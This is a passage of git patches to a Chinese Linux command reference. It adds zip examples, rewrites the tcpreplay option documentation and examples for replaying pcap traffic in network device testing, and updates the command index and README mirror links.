--u：更换较新的文件到压缩文件内； --v：显示指令执行过程或显示版本信息； --V：保存VMS操作系统的文件属性； --w：在文件名称里假如版本编号，本参数仅在VMS操作系统下有效； --x<范本样式>：压缩时排除符合条件的文件； --X：不保存额外的文件属性； --y：直接保存符号连接，而非该链接所指向的文件，本参数仅在UNIX之类的系统下有效； --z：替压缩文件加上注释； --$：保存第一个被压缩文件所在磁盘的卷册名称； --<压缩效率>：压缩效率是一个介于1~9的数值。 +-f: 刷新：仅更改的文件 +-u: 更新：仅更改或新文件 +-d: 删除 zip 文件中的条目 +-m: 移至 zip 文件（删除操作系统文件） +-r: 递归到目录 +-j: 垃圾（不记录）目录名 +-0: 仅存储 +-l: 将 LF 转换为 CR LF (-ll CR LF 到 LF) +-1: 压缩速度更快 +-9: 压缩得更好 +-v: 详细操作/打印版本信息 +-q: 安静运行 +-c: 添加一行注释 +-z: 添加 zip 文件注释 +-@: 从标准输入读取名称 +-o: 使 zip 文件与最新条目一样旧 +-x: 排除以下名称 +-i: 仅包含以下名称 +-F: 修复 zip 文件（-FF 更加努力） +-D: 不添加目录条目 +-A: 调整自解压exe +-D: 不添加目录条目 +-T: 测试 zip 文件的完整性 +-X: 排除额外的文件属性 +-n: 不压缩这些后缀 +-e: 加密 +-y: 将符号链接存储为链接而不是引用的文件 +-h2: 显示更多帮助 ``` ### 参数 From 54bc9aa32ae45a969647963bb053344c2a31b1d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 7 Dec 2023 09:38:57 +0800 Subject: [PATCH 268/570] doc: update zip.md & add example --- command/zip.md | 44 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/command/zip.md b/command/zip.md index f9fe8e9af55..b7370d8cdb4 100644 --- a/command/zip.md +++ b/command/zip.md @@ -54,7 +54,49 @@ zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi ### 实例 -将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的html.zip： +压缩单个文件，这会将 `file.txt` 文件压缩到名为 `compressed.zip` 的归档文件中 + +```shell +zip compressed.zip file.txt +``` + +压缩多个文件，下面这个命令会把 `file1.txt`，`file2.txt`，和 `file3.txt` 压缩到一个叫做 `compressed.zip` 的归档文件中。 + +```shell +zip compressed.zip file1.txt file2.txt file3.txt +``` + +压缩整个目录，下面这个命令 `-r` 参数表示递归压缩，该命令将压缩 `folder` 目录及其所有子目录和文件 + +```shell +zip -r compressed.zip folder/ +``` + +使用最大压缩比压缩文件，下面这个命令 `-9` 参数指定了最大压缩比，尽管可能需要更长的处理时间 + +```shell +zip -9 compressed.zip file.txt +``` + +创建密码保护的 zip 文件，下面这个命令 `-e` 参数会提示用户输入密码以创建加密的 zip 文件。 + +```shell +zip -e secure.zip file.txt +``` + +只压缩新文件或已更改的文件，如果 `compressed.zip` 已存在，`-u` 参数会更新归档中的 `file.txt` 或将其添加至归档中（如果它是新的） + +```shell +zip -u compressed.zip file.txt +``` + +压缩文件但不保留目录结构，`-j` 参数将不保留 `file.txt` 的父目录 `folder`，文件在 zip 中的位置将是在根目录下 + +```shell +zip -j compressed.zip folder/file.txt +``` + +将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的 `html.zip`： ```shell zip -q -r html.zip /home/Blinux/html From 61875e0e249259db7b776a673c4463d5679f8ff7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 13 Dec 2023 07:16:56 +0800 Subject: [PATCH 269/570] doc: update tcpreplay.md #546 --- command/tcpreplay.md | 251 ++++++++++++++++++++++++++++++++++++------- dist/data.json | 52 +++++++-- dist/data.min.json | 2 +- 3 files changed, 260 insertions(+), 45 deletions(-) diff --git a/command/tcpreplay.md b/command/tcpreplay.md index cb40c1f42b3..9673104034c 100644 --- a/command/tcpreplay.md +++ b/command/tcpreplay.md @@ -1,50 +1,219 @@ tcpreplay === -将PCAP包重新发送，用于性能或者功能测试 +将保存在 PCAP 文件包重新发送，用于性能或者功能测试 ## 补充说明 -简单的说， **tcpreplay** 是一种pcap包的重放工具，它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改（主要是指对2层、3层、4层报文头），指定重放报文的速度等，这样tcpreplay就可以用来复现抓包的情景以定位bug，以极快的速度重放从而实现压力测试。 +`tcpreplay` 用于重放保存在 pcap 文件中的网络流量，它支持按照捕获 pcap 文件时数据包的速度、或者指定速度去重放网络流量，只要在硬件承受的范围内即可。 -### 选项 +它可以根据需要，使流量可以在两个网卡直接拆分、写入文件、进行筛选、以各种方式进行编辑，从而为测试防火墙、NIDS和其他网络设备提供了方法。 -```shell --A "" 在使用 tcpdump 风格打印输出信息时，同时再调用tcpdump中的参数， 默认已经带有“-n,-l”，所以一般看到的都是ip地址，而没有主机名的打印，注意这个是在tcpreplay使用了-v参数时才能使用，不带-v不会报错，但是没有实际意义。格式：-vA “nnt”表示以tcpdump风格输出报文信息，并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数，这样发送出去的报文也会变少。 --c 双网卡回放报文必选参数，后面紧跟cache文件名，该文件为tcpprep根据对应的pcap文件构造出来。 --D 把应用层的数据，使用dump mode写入到指定文件中去，和-w、-W 参数一起使用。 --e 指定端点的ip，即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip，但是这样发送的出的报文不会区分client和server。。 --f 指定配置文件。 --F 在发送报文时，自动纠正错误的校验和。对测试DUT的校验和检验。 --h 显示帮助文件。 --i 双网卡回放报文必选参数，指定主接口。 --I 重写主网卡发送出报文的目的MAC地址。 --j 双网卡回放报文必选参数，指定从接口。 --J 重写从网卡发送出报文的目的MAC地址。 --k 重写主网卡发送报文的源MAC地址。 --K 重写从网卡发送报文的源MAC地址。 --l 指定循环的次数。 - --loopdelay-ms=2000 每次循环间隔2000毫秒。 --L 指定最大的发包数量。可以在确认连接的调试时使用。 --m 指定一个倍数值，就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后，对于DUT可能意味着有更多的并发连接和连接数，特别是对于BT报文的重放， 因为连接的超时是固定的，如果速率增大的话， 留在session表中的连接数量增大，还可以通过修改连接的超时时间来达到该目的。 --M 表示不发送“火星”的ip报文，man文件中的定义是 0/8、172/8、 255/8。 --n 在使用-S参数，不对混杂模式进行侦听。 --N 通过伪造的NAT，重写IP地址。这个参数应该有很重要的应用，目前没有测试使用。 --O 没有测试使用。 --p 指定每秒发送报文的个数，指定该参数，其它速率相关的参数被忽略，最后的打印信息不会有速率和每秒发送报文的统计。 --P 表示在输出信息中打印PID的信息，用于单用户或单帐户模式下暂停和重启程序。 --r 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。 --R 让网卡极限速度发数据包。 --t 指定MTU，标准的10/100M网卡的默认值是1500。 --T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去，默认是不发送，skip掉。 --v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。 --V 查看版本号。 --w 将主网卡发送的报文写入一个文件中，参数后紧跟文件名。 -``` +### 命令参数 + +-d number, --dbug=number + +启用调试输出。此选项最多可出现1次。此选项将整数作为参数。 number的值被限制为：在0到5的范围内 +此选项的默认输入number为：0 +如果使用--enable-debug进行配置，则可以为调试输出指定详细级别。数字越大，越详细。 + +`-q, --quiet` + +静默模式。除了运行结束时的统计数据外，不打印任何内容 + +`-T string, --timer=string` + +选择数据包计时模式：select，ioport，gtod，nano。此选项最多可出现1次。此选项的默认string是：gtod +允许您选择要使用的数据包计时方法： + +nano - 使用 nanosleep() API + +select - 使用 select() API + +ioport - 写入 i386 IO 端口 0x80 + +gtod [default] - 使用 gettimeofday() 循环 + +`--maxsleep=number` + +设置数据包之间休眠不超过X毫秒。此选项将整数作为参数。此选项的默认输入number为：0 +设置tcpreplay在数据包之间休眠的最大毫秒数限制。有效防止数据包之间的长时间延迟，而不会影响大多数数据包。默认为禁用。 + +`-v, --verbose` + +通过tcpdump将解码后的数据包打印到标准输出。此选项最多可出现1次 + +`-A string, --decode=string` + +传递给tcpdump解码器的参数。此选项最多可出现1次。此选项必须与-v参数以前使用。 +当启用详细模式（-v）时，您还可以指定一个或多个附加参数以传递给tcpdump来修改数据包的解码方式。默认情况下，使用-n和-l。确保string用双引号引起来，如：-A“-axxx”，否则会被tcpreplay作为参数误用。有关选项的完整列表，请参见tcpdump(1)手册页 + +`-K, --preload-pcap` + +在发送之前将数据包预加载到RAM中。 +此选项在开始发送之前将指定的pcap加载到RAM中，以便提高启动性能，进而提高重放性能。预加载可以使用或不使用--loop。此选项还会控制每次迭代的流统计信息收集，这可以显着减少内存使用量。基于所提供的选项和从第一循环迭代收集的统计来预测流(flow)统计。 + +`-c string, --cachefile=string` + +通过tcpprep缓存(cache)文件拆分流量。此选项最多可出现1次。此选项必须与以下选项一起使用：intf2。此选项不得与以下选项一起使用：dualfile。 +如果你有一个pcap文件，你想用它来通过一个设备（防火墙，路由器，IDS等）发送双向流量，然后使用tcpprep你可以创建一个缓存文件，tcpreplay将用它来分割两个网络接口的流量。 + +`-2, --dualfile` + +从 network tap 一次重放两个文件。此选项最多可出现1次。此选项必须与以下选项一起使用：intf2。此选项不得与以下任项一起使用：cachefile。 +如果您使用网络分流器捕获网络流量，那么您最终可以获得两个pcap文件 - 每个方向一个。此选项将同时重放这两个文件，每个接口一个，并使用每个文件中的时间戳混合它们 + +`-i string, --intf1=string` + +客户端到 server/RX/primary(主要) 流量输出接口。该选项最多可出现 1 次。 +用于发送所有流量或通过 tcpprep 标记为 "primary" 流量的所需网络接口。primary 流量通常是客户端到服务器或 khial 虚拟接口上的入站（RX）流量。 + +`-I string, --intf2=string` + +服务器到 client/TX/secondary(辅助) 流量输出接口。该选项最多可能出现 1 次。 + +用于发送通过 tcpprep 标记为 “secondary” 流量的可选网络接口。辅助(secondary)流量通常是服务器到客户端或 khial 虚拟接口上的出站 (TX)。一般来说，只有将此选项与 --cachefile 一起使用才有意义。 + +`--listnics` + +列出所有可用的网卡并退出。 + +`-l number, --loop=number` + +循环捕获文件X次。此选项最多可出现1次。此选项将整数作为输入参数。 number的值被限制为： +大于或等于0，此选项的默认输入number为：1 + +`--loopdelay-ms=number` + +循环之间的延迟（以毫秒为单位）。此选项必须与以下选项一起出现：--loop。此选项将整数作为输入参数。 number的值被限制为：大于或等于0，此选项的默认输入number为：0 + +`--pktlen` + +覆盖snaplen并使用实际的数据包len。此选项最多可出现1次。 +默认情况下，tcpreplay将根据pcap文件中存储的“snaplen”的大小发送数据包，这通常是正确的做法。但是，偶尔，工具会存储更多的字节。通过指定此选项，tcpreplay将忽略snaplen字段，而是尝试根据原始数据包长度发送数据包。如果指定此选项，可能会发生错误。 + +`-L number, --limit=number` + +限制要发送的数据包数量。此选项最多可出现1次。此选项将整数作为输如参数。 number的值被限制为：大于或等于1，此选项的默认输如number为：-1 +默认情况下，tcpreplay将发送所有数据包。或者手工指定要发送的最大数据包数。 + +`--duration=number` + +限制发送的秒数。此选项最多可出现1次。此选项将整数作为输入参数。 number的值被限制为：大于或等于1，此选项的默认number为：-1 +默认情况下，tcpreplay将发送所有数据包。或者手工指定要传输的最大秒数。 + +`-x string, --multiplier=string` + +将重放速度修改为指定倍数。此选项最多可出现1次。此选项不得与以下任何选项一起出现：pps，mbps，oneatatime，topspeed。 +指定一个值以修改数据包重放速度。例子： +2.0：将以捕获速度的两倍重放流量 +0.7：将以捕获的速度的70％重放流量 + +`-p string, --pps=string` + +以给定的packets/sec重放数据包。此选项最多可出现1次。此选项不得与以下任何选项一起出现：multiplier, mbps, oneatatime, topspeed.。 +指定一个值以将数据包重放调整为特定的packets/sec速率。例子： +200：将以每秒200个数据包重放流量 +0.25：将以每分钟15个数据包重放流量 + +`-M string, --mbps=string` + +以给定的Mbps重放数据包。此选项最多可出现1次。此选项不得与以下任何选项一起出现：multiplier，pps，oneatatime，topspeed。 +可为tcpreplay设定其发送数据包的Mbps速率，该值可以指定为浮点值 + +`-t, --topspeed` + +尽可能快地重放数据包。此选项不得与以下任何选项一起出现: mbps, multiplier, pps, oneatatime. + +`-o, --oneatatime` + +根据用户输入重放每个数据包。此选项不得与以下任何选项一起出现：mbps，pps，multiplier，topspeed。 +允许您一次单步执行一个或多个数据包。 + +`--pps-multi=number` + +指定每个时间间隔要发送的数据包数。此选项必须与以下选项一起使用：pps。此选项将整数作为输入参数。 number的值被限制为：大于或等于1，此选项的默认值为：1 +当尝试以非常高的速率发送数据包时，每个数据包之间的时间可能很短，以至于不可能在所需的时间段内准确地休眠。此选项允许您一次发送多个数据包，从而允许更长的睡眠时间，这可以更准确地实现。 + +`--unique-ip` + +修改每个循环迭代的IP地址以生成唯一流。此选项必须与以下选项一起使用：loop。 +确保每个--loop迭代的IPv4和IPv6数据包都是唯一的。这是以不会改变数据包CRC的方式完成的，因此通常不会影响性能。此选项将显着增加多次循环迭代生成的flow/sec。 + +`--unique-ip-loops=string` + +分配新的唯一 IP 之前的 --loop 迭代次数。默认值为 1。假定同时使用 --loop 和 --unique-ip。 + +`--netmap` + +将数据包直接写入启用netmap的网络适配器。 +此功能将检测Linux和BSD系统上支持netmap的网络驱动程序。如果检测到，则会在执行期间绕过网络驱动程序，并直接写入网络缓冲区。这将允许您在商用网络适配器上实现全线速率，类似于商用网络流量生成器实现的速率。请注意，绕过网络驱动程序将中断通过测试接口连接的其他应用程序。 + +还可以通过将接口指定为`netmap:`或 `vale:` 来启用此功能。例如，`netmap:eth0` 指定接口 eth0 上的网络映射。 + +`--nm-delay=number` + +Netmap启动延迟。此选项将整数作为参数。此选项的默认输入为：10 +加载netmap后延迟的秒数。在netmap传输之前确保接口完全开启工作。需要netmap选项。默认值为10秒。 + +`--no-flow-stats` + +阻止打印和跟踪流量，速率和到期 + +禁止收集和打印流量统计信息。 不使用--preload-pcap选项时，此选项可以提高性能，否则它的唯一功能是禁止打印。 + +流功能将跟踪和打印正在发送的流的统计信息。 简单来讲，一个流是由5元组进行唯一区分的，即源IP、目的IP、源端口、目的端口和协议。 +如果指定了--loop，则从一次迭代到下一次迭代的流将不是唯一的，除非数据包被更改。 使用--unique-ip或tcpreplay-edit在迭代之间更改数据包。 + +`--flow-expiry=number` + +流被视为过期前的非活动秒数。此选项不得与以下选项一起使用：no-flow-stats。此选项将整数作为输入参数。 number的值被限制为：大于或等于0 +此选项的默认值为：0 +此选项将根据流的idle time来跟踪和报告流的过期。 pcap文件中的时间戳用于确定到期时间，而不是重放数据包的实际时间戳。例如，值30表示如果流上没有流量持续30秒，则任何后续流量都将被视为新流量，从而将增加流量和每秒流量（fps）统计量。 + +（例如，值 30 表示如果某个流在 30 秒内没有看到任何流量，则任何后续流量都将被视为新流，从而增加流量和每秒流量 (fps) 统计数据。） + +此选项可用于优化流产品的流超时设置。当实际流量响应速度很慢时，将超时设置较低可能会导致流量被丢弃。将流量超时配置得过高可能会增加流量产品所需的资源。 +请注意，在高于原始速度的重放时使用此选项可能会导致流量和fps计数膨胀。 +默认值为0（无到期），典型值为30-120秒 + +`-P, --pid` + +在启动时打印tcpreplay的PID + +`--stats=number` + +每X秒打印统计信息，如果为'0'则打印每个循环。此选项将整数作为输入参数。number 的值被限制为：大于或等于 0 + +请注意，定时延迟是"best effort"，发送数据包之间的长延迟可能会导致打印统计数据之间同样长的延迟。 + +`-V, --version` + +打印版本信息 + +`-h, --less-help` + +打印简单的帮助信息 + +`-H, --help` + +打印帮助信息 + +`-!, --more-help` + +打印详细帮助信息 + +`--save-opts [=cfgfile]` + +将选项状态保存到cfgfile。默认值是下面的OPTION PRESETS章节中列出的最后一个配置文件。该命令在更新配置文件后退出。 + +`--load-opts=cfgfile, --no-load-opts` + +从 cfg 文件加载选项。 no-load-opts 形式将禁止加载早期的 config/rc/ini 文件。`--no-load-opts` 提前处理，无序。 ### 实例 - **1、重放在客户端 ftp 连接的报文 ** +**1、重放在客户端 ftp 连接的报文 ** a、在客户端使用 ethereal 抓包，存为 ftp.pcap 文件。 @@ -62,7 +231,7 @@ c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接，使 -R 参数表示全速发送，-v 显示打印信息。  - **2、重放在客户端 BT 连接的报文 ** +**2、重放在客户端 BT 连接的报文 ** a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片，使用 ethereal 抓包， 存为 bt.pcap 文件。注意 pcap 文件大小的控制，对 pc 的内存要求比较高，我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟，大家有需要可以直接从实验室 copy。  @@ -80,7 +249,7 @@ c、使用 tcpreplay 重放报文。  [root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R ``` - **3、重放 tftp 服务器上抓到的报文 ** +**3、重放 tftp 服务器上抓到的报文 ** a、在 tftp 服务器上使用 ethereal 抓包，存为 tftp.pcap 文件。  @@ -98,4 +267,10 @@ c、使用 tcpreplay 重放报文。  [root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v ``` +**4、重放pcap包，并指定速率和 loop 次数** + +```shell +[root@A ~]# tcpreplay -i eth1 -M 10 -l 0 /home/demo/LSDK/LSDK.pcap +``` +以速率10Mbps，0为无限次循环进行重放 diff --git a/dist/data.json b/dist/data.json index 526e559d149..83b9625abad 100644 --- a/dist/data.json +++ b/dist/data.json @@ -404,6 +404,11 @@ "p": "/cpio", "d": "用来建立、还原备份档的工具程序" }, + "createrepo": { + "n": "createrepo", + "p": "/createrepo", + "d": "创建YUM仓库" + }, "crontab": { "n": "crontab", "p": "/crontab", @@ -544,6 +549,11 @@ "p": "/dnsdomainname", "d": "定义DNS系统中FQDN名称的域名" }, + "docker": { + "n": "docker", + "p": "/docker", + "d": "容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行" + }, "domainname": { "n": "domainname", "p": "/domainname", @@ -1579,6 +1589,11 @@ "p": "/mktemp", "d": "创建临时文件供shell脚本使用" }, + "modetest": { + "n": "modetest", + "p": "/modetest", + "d": "DRM/KMS驱动程序libdrm中的模式测试工具" + }, "modprobe": { "n": "modprobe", "p": "/modprobe", @@ -1647,7 +1662,7 @@ "nc": { "n": "nc", "p": "/nc", - "d": "用于设置路由器，是网络工具中的瑞士军刀。" + "d": "nc是网络工具中的瑞士军刀" }, "ncftp": { "n": "ncftp", @@ -1762,7 +1777,7 @@ "pacman": { "n": "pacman", "p": "/pacman", - "d": "Arch Linux 系统极其衍生系统中默认使用的包管理器" + "d": "Arch Linux 系统及其衍生系统中默认使用的包管理器" }, "parted": { "n": "parted", @@ -1837,7 +1852,17 @@ "ping": { "n": "ping", "p": "/ping", - "d": "测试主机之间网络的连通性" + "d": "测试主机之间网络的连通性(ipv4)" + }, + "ping6": { + "n": "ping6", + "p": "/ping6", + "d": "测试主机之间网络的连通性(ipv6)" + }, + "pkexec": { + "n": "pkexec", + "p": "/pkexec", + "d": "以其他用户身份执行命令" }, "pkill": { "n": "pkill", @@ -1879,6 +1904,11 @@ "p": "/protoize", "d": "GNU-C代码转换为ANSI-C代码" }, + "prtstat": { + "n": "prtstat", + "p": "/prtstat", + "d": "显示进程信息" + }, "ps": { "n": "ps", "p": "/ps", @@ -2034,6 +2064,11 @@ "p": "/renice", "d": "修改正在运行的进程的调度优先级" }, + "reposync": { + "n": "reposync", + "p": "/reposync", + "d": "同步yum存储库到本地目录" + }, "repquota": { "n": "repquota", "p": "/repquota", @@ -2244,6 +2279,11 @@ "p": "/sh", "d": "shell命令解释器" }, + "sha256sum": { + "n": "sha256sum", + "p": "/sha256sum", + "d": "用于计算文件的 SHA-256 哈希值" + }, "shift": { "n": "shift", "p": "/shift", @@ -2379,10 +2419,10 @@ "p": "/sshd", "d": "openssh软件套件中的服务器守护进程" }, - "sshpass":{ + "sshpass": { "n": "sshpass", "p": "/sshpass", - "d": "免交互 SSH 登录工具" + "d": "免交互 SSH 登录工具。" }, "startx": { "n": "startx", @@ -2502,7 +2542,7 @@ "tcpreplay": { "n": "tcpreplay", "p": "/tcpreplay", - "d": "将PCAP包重新发送，用于性能或者功能测试" + "d": "将保存在 PCAP 文件包重新发送，用于性能或者功能测试" }, "tee": { "n": "tee", diff --git a/dist/data.min.json b/dist/data.min.json index 2c2900a7e14..b8a3bd417a0 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 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X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 66fb61d0866bbbf66c99187026a9edde0b6d56b3 Mon Sep 17 00:00:00 2001 From: Shan Chenyu <103872353+ischenyu@users.noreply.github.com> Date: Sun, 24 Dec 2023 09:03:53 +0800 Subject: [PATCH 270/570] doc: Update README.md (#548) * Update README.md * Update README.md * Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5e89544b3e4..63f2c60c3f1 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/`) **其它 web 版本** From f424577e14a0380664bc9b5acb1ee6fd56715543 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 24 Dec 2023 01:04:24 +0000 Subject: [PATCH 271/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 63f2c60c3f1..5ce689ad9ec 100644 --- a/README.md +++ b/README.md @@ -570,6 +570,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 SevenSteven + + Shan Chenyu + Azolla From cd64857d0e9d3eecf80fdd365229f508101e6bfa Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 24 Dec 2023 01:04:25 +0000 Subject: [PATCH 272/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 03531776b2c..cb025b2457d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -207,6 +207,9 @@ SevenSteven + + Shan Chenyu + Azolla From f0d955b9db972c491bd659d2d3ec4a0c019bde89 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sun, 24 Dec 2023 09:05:31 +0800 Subject: [PATCH 273/570] doc: Update README.md #548 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5ce689ad9ec..8ba0051319b 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/`) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) **其它 web 版本** From 39e590c2f2ce2f76df0299ddd88420ac5eb1d666 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=B2=99=E6=BC=A0=E4=B9=8B=E5=AD=90?= 